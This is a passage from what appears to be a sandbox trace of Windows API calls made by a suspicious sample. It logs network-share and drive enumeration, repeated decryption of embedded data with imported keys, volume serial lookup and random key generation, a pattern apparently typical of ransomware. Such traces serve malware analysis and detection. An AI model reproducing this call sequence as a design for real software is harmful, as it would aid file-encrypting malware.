[0271.943] GetComputerNameW (in: lpBuffer=0x1c5848, nSize=0x333fc84 | out: lpBuffer="XDUWTFONO", nSize=0x333fc84) returned 1 [0271.943] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x26) returned 0x1c6400 [0271.943] GetLastError () returned 0xcb [0271.943] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x214) returned 0x1c5a60 [0271.944] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bd0000 [0271.944] GetCurrentThreadId () returned 0x68c [0271.944] SetLastError (dwErrCode=0xcb) [0271.944] GetLastError () returned 0xcb [0271.944] SetLastError (dwErrCode=0xcb) [0271.944] GetLastError () returned 0xcb [0271.944] SetLastError (dwErrCode=0xcb) [0271.944] GetLastError () returned 0xcb [0271.944] SetLastError (dwErrCode=0xcb) [0271.944] GetLastError () returned 0xcb [0271.944] SetLastError (dwErrCode=0xcb) [0271.944] GetLastError () returned 0xcb [0271.944] SetLastError (dwErrCode=0xcb) [0271.944] GetLastError () returned 0xcb [0271.945] SetLastError (dwErrCode=0xcb) [0271.945] GetLastError () returned 0xcb [0271.945] SetLastError (dwErrCode=0xcb) [0271.945] GetLastError () returned 0xcb [0271.945] SetLastError (dwErrCode=0xcb) [0271.945] GetLastError () returned 0xcb [0271.945] SetLastError (dwErrCode=0xcb) [0271.945] GetLastError () returned 0xcb [0271.945] SetLastError (dwErrCode=0xcb) [0271.945] GetLastError () returned 0xcb [0271.945] SetLastError (dwErrCode=0xcb) [0271.945] GetLastError () returned 0xcb [0271.945] SetLastError (dwErrCode=0xcb) [0271.945] GetLastError () returned 0xcb [0271.945] SetLastError (dwErrCode=0xcb) [0271.945] GetLastError () returned 0xcb [0271.945] SetLastError (dwErrCode=0xcb) [0271.945] GetLastError () returned 0xcb [0271.945] SetLastError (dwErrCode=0xcb) [0271.945] GetLastError () returned 0xcb [0271.945] SetLastError (dwErrCode=0xcb) [0271.945] GetLastError () returned 0xcb [0271.945] SetLastError (dwErrCode=0xcb) [0271.946] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x4000) returned 0x1c8ec0 [0271.946] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x34e0048 [0271.946] WNetOpenEnumW (in: dwScope=0x1, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x333fc44 | out: lphEnum=0x333fc44*=0x802088) returned 0x0 [0272.811] WNetEnumResourceW (in: hEnum=0x802088, lpcCount=0x333fc3c, lpBuffer=0x1c8ec0, lpBufferSize=0x333fc48 | out: lpcCount=0x333fc3c, lpBuffer=0x1c8ec0, lpBufferSize=0x333fc48) returned 0x103 [0272.812] WNetCloseEnum (hEnum=0x802088) returned 0x0 [0272.812] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c8ec0 | out: hHeap=0x1c0000) returned 1 [0272.812] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0272.812] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x4000) returned 0x1c8ec0 [0272.812] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x34e0048 [0272.812] WNetOpenEnumW (in: dwScope=0x4, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x333fc2c | out: lphEnum=0x333fc2c*=0x824be0) returned 0x0 [0272.812] WNetEnumResourceW (in: hEnum=0x824be0, lpcCount=0x333fc24, lpBuffer=0x1c8ec0, lpBufferSize=0x333fc30 | out: lpcCount=0x333fc24, lpBuffer=0x1c8ec0, lpBufferSize=0x333fc30) returned 0x103 [0272.812] WNetCloseEnum (hEnum=0x824be0) returned 0x0 [0272.812] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c8ec0 | out: hHeap=0x1c0000) returned 1 [0272.812] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0272.812] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x4000) returned 0x1c8ec0 [0272.812] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x34e0048 [0272.812] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x333fc14 | out: lphEnum=0x333fc14*=0x802088) returned 0x0 [0272.894] WNetEnumResourceW (in: hEnum=0x802088, lpcCount=0x333fc0c, lpBuffer=0x1c8ec0, lpBufferSize=0x333fc18 | out: lpcCount=0x333fc0c, lpBuffer=0x1c8ec0, lpBufferSize=0x333fc18) returned 0x0 [0272.894] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x4000) returned 0x42c00a0 [0272.894] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x42c40a8 [0272.895] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x1c8ec0, lphEnum=0x333fbd4 | out: lphEnum=0x333fbd4*=0x802190) returned 0x0 [0273.054] WNetEnumResourceW (in: hEnum=0x802190, lpcCount=0x333fbcc, lpBuffer=0x42c00a0, lpBufferSize=0x333fbd8 | out: lpcCount=0x333fbcc, lpBuffer=0x42c00a0, lpBufferSize=0x333fbd8) returned 0x0 [0273.054] WNetEnumResourceW (in: hEnum=0x802190, lpcCount=0x333fbcc, lpBuffer=0x42c00a0, lpBufferSize=0x333fbd8 | out: lpcCount=0x333fbcc, lpBuffer=0x42c00a0, lpBufferSize=0x333fbd8) returned 0x103 [0273.054] WNetCloseEnum (hEnum=0x802190) returned 0x0 [0273.054] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42c00a0 | out: hHeap=0x1c0000) returned 1 [0273.054] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42c40a8 | out: hHeap=0x1c0000) returned 1 [0273.054] WNetEnumResourceW (in: hEnum=0x802088, lpcCount=0x333fc0c, lpBuffer=0x1c8ec0, lpBufferSize=0x333fc18 | out: lpcCount=0x333fc0c, lpBuffer=0x1c8ec0, lpBufferSize=0x333fc18) returned 0x103 [0273.054] WNetCloseEnum (hEnum=0x802088) returned 0x0 [0273.054] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c8ec0 | out: hHeap=0x1c0000) returned 1 [0273.055] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.055] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x4000) returned 0x1c8ec0 [0273.055] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x34e0048 [0273.055] WNetOpenEnumW (in: dwScope=0x3, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x333fc44 | out: lphEnum=0x333fc44*=0x824c00) returned 0x0 [0273.055] WNetEnumResourceW (in: hEnum=0x824c00, lpcCount=0x333fc3c, lpBuffer=0x1c8ec0, lpBufferSize=0x333fc48 | out: lpcCount=0x333fc3c, lpBuffer=0x1c8ec0, lpBufferSize=0x333fc48) returned 0x103 [0273.055] WNetCloseEnum (hEnum=0x824c00) returned 0x0 [0273.055] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c8ec0 | out: hHeap=0x1c0000) returned 1 [0273.055] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.055] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x4000) returned 0x1c8ec0 [0273.055] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x34e0048 [0273.055] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x333fc2c | out: lphEnum=0x333fc2c*=0x806c98) returned 0x0 [0273.055] WNetEnumResourceW (in: hEnum=0x806c98, lpcCount=0x333fc24, lpBuffer=0x1c8ec0, lpBufferSize=0x333fc30 | out: lpcCount=0x333fc24, lpBuffer=0x1c8ec0, lpBufferSize=0x333fc30) returned 0x0 [0273.055] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x4000) returned 0x4210048 [0273.056] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x35bc918 [0273.056] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x1c8f00, lphEnum=0x333fbec | out: lphEnum=0x333fbec*=0x0) returned 0x4c6 [0273.056] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0273.056] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0273.056] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x4000) returned 0x4210048 [0273.056] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x35bc918 [0273.056] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x1c8ee0, lphEnum=0x333fbec | out: lphEnum=0x333fbec*=0x0) returned 0x4b8 [0273.058] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0273.058] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0273.058] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x4000) returned 0x4210048 [0273.058] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x35bc918 [0273.058] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x1c8ec0, lphEnum=0x333fbec | out: lphEnum=0x333fbec*=0x824c00) returned 0x0 [0273.132] WNetEnumResourceW (in: hEnum=0x824c00, lpcCount=0x333fbe4, lpBuffer=0x4210048, lpBufferSize=0x333fbf0 | out: lpcCount=0x333fbe4, lpBuffer=0x4210048, lpBufferSize=0x333fbf0) returned 0x103 [0273.132] WNetCloseEnum (hEnum=0x824c00) returned 0x0 [0273.132] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0273.132] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0273.132] WNetEnumResourceW (in: hEnum=0x806c98, lpcCount=0x333fc24, lpBuffer=0x1c8ec0, lpBufferSize=0x333fc30 | out: lpcCount=0x333fc24, lpBuffer=0x1c8ec0, lpBufferSize=0x333fc30) returned 0x103 [0273.132] WNetCloseEnum (hEnum=0x806c98) returned 0x0 [0273.132] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c8ec0 | out: hHeap=0x1c0000) returned 1 [0273.132] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.133] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0273.133] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6400 | out: hHeap=0x1c0000) returned 1 [0273.133] Sleep (dwMilliseconds=0xea60) Thread: id = 97 os_tid = 0x690 [0272.234] GetLogicalDrives () returned 0x4 [0272.234] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x40) returned 0x1c64e8 [0272.234] CryptImportKey (in: hProv=0x7d5188, pbData=0x34df778, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34df7e0 | out: phKey=0x34df7e0*=0x806a58) returned 1 [0272.234] CryptSetKeyParam (hKey=0x806a58, dwParam=0x1, pbData=0x34df7c8, dwFlags=0x0) returned 1 [0272.234] CryptDecrypt (in: hKey=0x806a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c64e8, pdwDataLen=0x34df794 | out: pbData=0x1c64e8, pdwDataLen=0x34df794) returned 1 [0272.234] CryptDestroyKey (hKey=0x806a58) returned 1 [0272.234] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x28) returned 0x1c6530 [0272.234] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2a8 [0272.234] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2ac [0272.234] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20) returned 0x1c6560 [0272.235] CryptImportKey (in: hProv=0x7d5188, pbData=0x34df744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34df7ac | out: phKey=0x34df7ac*=0x806a58) returned 1 [0272.235] CryptSetKeyParam (hKey=0x806a58, dwParam=0x1, pbData=0x34df794, dwFlags=0x0) returned 1 [0272.235] CryptDecrypt (in: hKey=0x806a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6560, pdwDataLen=0x34df760 | out: pbData=0x1c6560, pdwDataLen=0x34df760) returned 1 [0272.235] CryptDestroyKey (hKey=0x806a58) returned 1 [0272.235] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c6588 [0272.235] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1e) returned 0x1c65b0 [0272.235] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c65d8 [0272.235] CryptImportKey (in: hProv=0x7d5188, pbData=0x34df71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34df784 | out: phKey=0x34df784*=0x806a58) returned 1 [0272.235] CryptSetKeyParam (hKey=0x806a58, dwParam=0x1, pbData=0x34df76c, dwFlags=0x0) returned 1 [0272.235] CryptDecrypt (in: hKey=0x806a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c65d8, pdwDataLen=0x34df738 | out: pbData=0x1c65d8, pdwDataLen=0x34df738) returned 1 [0272.235] CryptDestroyKey (hKey=0x806a58) returned 1 [0272.235] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c65d8 | out: hHeap=0x1c0000) returned 1 [0272.235] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1c6588, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0272.235] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c65b0 | out: hHeap=0x1c0000) returned 1 [0272.235] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6560 | out: hHeap=0x1c0000) returned 1 [0272.235] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x34df7ec, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x34df7ec*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0272.235] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6588 | out: hHeap=0x1c0000) returned 1 [0272.235] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c1730 [0272.235] CryptImportKey (in: hProv=0x7d5188, pbData=0x34df688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34df6f0 | out: phKey=0x34df6f0*=0x806a58) returned 1 [0272.235] CryptSetKeyParam (hKey=0x806a58, dwParam=0x1, pbData=0x34df6d8, dwFlags=0x0) returned 1 [0272.235] CryptDecrypt (in: hKey=0x806a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c1730, pdwDataLen=0x34df6a4 | out: pbData=0x1c1730, pdwDataLen=0x34df6a4) returned 1 [0272.235] CryptDestroyKey (hKey=0x806a58) returned 1 [0272.235] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c6560 [0272.235] CryptImportKey (in: hProv=0x7d5188, pbData=0x34df680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34df6e8 | out: phKey=0x34df6e8*=0x806a58) returned 1 [0272.235] CryptSetKeyParam (hKey=0x806a58, dwParam=0x1, pbData=0x34df6d0, dwFlags=0x0) returned 1 [0272.235] CryptDecrypt (in: hKey=0x806a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6560, pdwDataLen=0x34df69c | out: pbData=0x1c6560, pdwDataLen=0x34df69c) returned 1 [0272.235] CryptDestroyKey (hKey=0x806a58) returned 1 [0272.235] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c6578 [0272.235] CryptImportKey (in: hProv=0x7d5188, pbData=0x34df678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34df6e0 | out: phKey=0x34df6e0*=0x806a58) returned 1 [0272.235] CryptSetKeyParam (hKey=0x806a58, dwParam=0x1, pbData=0x34df6c8, dwFlags=0x0) returned 1 [0272.235] CryptDecrypt (in: hKey=0x806a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6578, pdwDataLen=0x34df694 | out: pbData=0x1c6578, pdwDataLen=0x34df694) returned 1 [0272.235] CryptDestroyKey (hKey=0x806a58) returned 1 [0272.235] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c6590 [0272.236] CryptImportKey (in: hProv=0x7d5188, pbData=0x34df670, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34df6d8 | out: phKey=0x34df6d8*=0x806a58) returned 1 [0272.236] CryptSetKeyParam (hKey=0x806a58, dwParam=0x1, pbData=0x34df6c0, dwFlags=0x0) returned 1 [0272.236] CryptDecrypt (in: hKey=0x806a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6590, pdwDataLen=0x34df68c | out: pbData=0x1c6590, pdwDataLen=0x34df68c) returned 1 [0272.236] CryptDestroyKey (hKey=0x806a58) returned 1 [0272.236] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c6628 [0272.236] CryptImportKey (in: hProv=0x7d5188, pbData=0x34df668, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34df6d0 | out: phKey=0x34df6d0*=0x806a58) returned 1 [0272.236] CryptSetKeyParam (hKey=0x806a58, dwParam=0x1, pbData=0x34df6b8, dwFlags=0x0) returned 1 [0272.236] CryptDecrypt (in: hKey=0x806a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6628, pdwDataLen=0x34df684 | out: pbData=0x1c6628, pdwDataLen=0x34df684) returned 1 [0272.236] CryptDestroyKey (hKey=0x806a58) returned 1 [0272.236] htonl (hostlong=0x9c354b42) returned 0x424b359c [0272.236] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x20, pbBuffer=0x34df798 | out: pbBuffer=0x34df798) returned 1 [0272.236] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x28) returned 0x1c6640 [0272.236] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c6670 [0272.236] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x4) returned 0x1c6688 [0272.236] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x14) returned 0x1c6698 [0272.236] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c66b8 [0272.236] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x80) returned 0x1c7580 [0272.236] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c66d0 [0272.236] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x82) returned 0x1c7608 [0272.236] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c7698 [0272.236] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x4) returned 0x1c76b0 [0272.236] CryptAcquireContextW (in: phProv=0x117fcf4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x117fcf4*=0x838f68) returned 1 [0272.236] CryptGenRandom (in: hProv=0x838f68, dwLen=0x55, pbBuffer=0x34df71a | out: pbBuffer=0x34df71a) returned 1 [0272.236] GetLastError () returned 0x0 [0272.237] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x214) returned 0x1c5c80 [0272.237] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bd0000 [0272.237] GetCurrentThreadId () returned 0x690 [0272.237] SetLastError (dwErrCode=0x0) [0272.237] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c76c0 [0272.237] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x80) returned 0x1c76d8 [0272.237] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c7760 [0272.237] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x2) returned 0x1c7778 [0272.237] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x4) returned 0x1c7788 [0272.237] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c5ea0 [0272.237] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x80) returned 0x1c5eb8 [0272.237] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c5f58 [0272.238] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x4) returned 0x1c6340 [0272.238] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1c7778, Size=0x82) returned 0x1cd2c8 [0272.238] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1c6340, Size=0x100) returned 0x1cd358 [0272.238] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c5f70 [0272.238] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x82) returned 0x1cd460 [0272.238] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c5f88 [0272.238] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x82) returned 0x1cd4f0 [0272.238] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1cd2c8, Size=0x104) returned 0x1cd580 [0272.238] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1cd358, Size=0x200) returned 0x1cd690 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c7788 | out: hHeap=0x1c0000) returned 1 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1cd690 | out: hHeap=0x1c0000) returned 1 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5f58 | out: hHeap=0x1c0000) returned 1 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c76d8 | out: hHeap=0x1c0000) returned 1 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c76c0 | out: hHeap=0x1c0000) returned 1 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5eb8 | out: hHeap=0x1c0000) returned 1 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5ea0 | out: hHeap=0x1c0000) returned 1 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1cd580 | out: hHeap=0x1c0000) returned 1 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c7760 | out: hHeap=0x1c0000) returned 1 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1cd460 | out: hHeap=0x1c0000) returned 1 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5f70 | out: hHeap=0x1c0000) returned 1 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1cd4f0 | out: hHeap=0x1c0000) returned 1 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5f88 | out: hHeap=0x1c0000) returned 1 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6688 | out: hHeap=0x1c0000) returned 1 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6670 | out: hHeap=0x1c0000) returned 1 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c7608 | out: hHeap=0x1c0000) returned 1 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c66d0 | out: hHeap=0x1c0000) returned 1 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c7580 | out: hHeap=0x1c0000) returned 1 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c66b8 | out: hHeap=0x1c0000) returned 1 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c76b0 | out: hHeap=0x1c0000) returned 1 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c7698 | out: hHeap=0x1c0000) returned 1 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6640 | out: hHeap=0x1c0000) returned 1 [0272.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6698 | out: hHeap=0x1c0000) returned 1 [0272.239] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0xa4) returned 0x1c7580 [0272.240] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6560 | out: hHeap=0x1c0000) returned 1 [0272.240] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6578 | out: hHeap=0x1c0000) returned 1 [0272.240] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6590 | out: hHeap=0x1c0000) returned 1 [0272.240] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6628 | out: hHeap=0x1c0000) returned 1 [0272.240] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x14) returned 0x1c6340 [0272.240] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0xe) returned 0x1c5f88 [0272.240] ResetEvent (hEvent=0x2ac) returned 1 [0272.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1173bdf, lpParameter=0x1c6340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0 [0272.242] CloseHandle (hObject=0x2b0) returned 1 [0272.242] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c5f70 [0272.242] CryptImportKey (in: hProv=0x7d5188, pbData=0x34df688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34df6f0 | out: phKey=0x34df6f0*=0x806a58) returned 1 [0272.242] CryptSetKeyParam (hKey=0x806a58, dwParam=0x1, pbData=0x34df6d8, dwFlags=0x0) returned 1 [0272.242] CryptDecrypt (in: hKey=0x806a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c5f70, pdwDataLen=0x34df6a4 | out: pbData=0x1c5f70, pdwDataLen=0x34df6a4) returned 1 [0272.242] CryptDestroyKey (hKey=0x806a58) returned 1 [0272.242] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c5f58 [0272.242] CryptImportKey (in: hProv=0x7d5188, pbData=0x34df680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34df6e8 | out: phKey=0x34df6e8*=0x806a58) returned 1 [0272.242] CryptSetKeyParam (hKey=0x806a58, dwParam=0x1, pbData=0x34df6d0, dwFlags=0x0) returned 1 [0272.242] CryptDecrypt (in: hKey=0x806a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c5f58, pdwDataLen=0x34df69c | out: pbData=0x1c5f58, pdwDataLen=0x34df69c) returned 1 [0272.242] CryptDestroyKey (hKey=0x806a58) returned 1 [0272.242] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c5fa0 [0272.242] CryptImportKey (in: hProv=0x7d5188, pbData=0x34df678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34df6e0 | out: phKey=0x34df6e0*=0x806a58) returned 1 [0272.242] CryptSetKeyParam (hKey=0x806a58, dwParam=0x1, pbData=0x34df6c8, dwFlags=0x0) returned 1 [0272.242] CryptDecrypt (in: hKey=0x806a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c5fa0, pdwDataLen=0x34df694 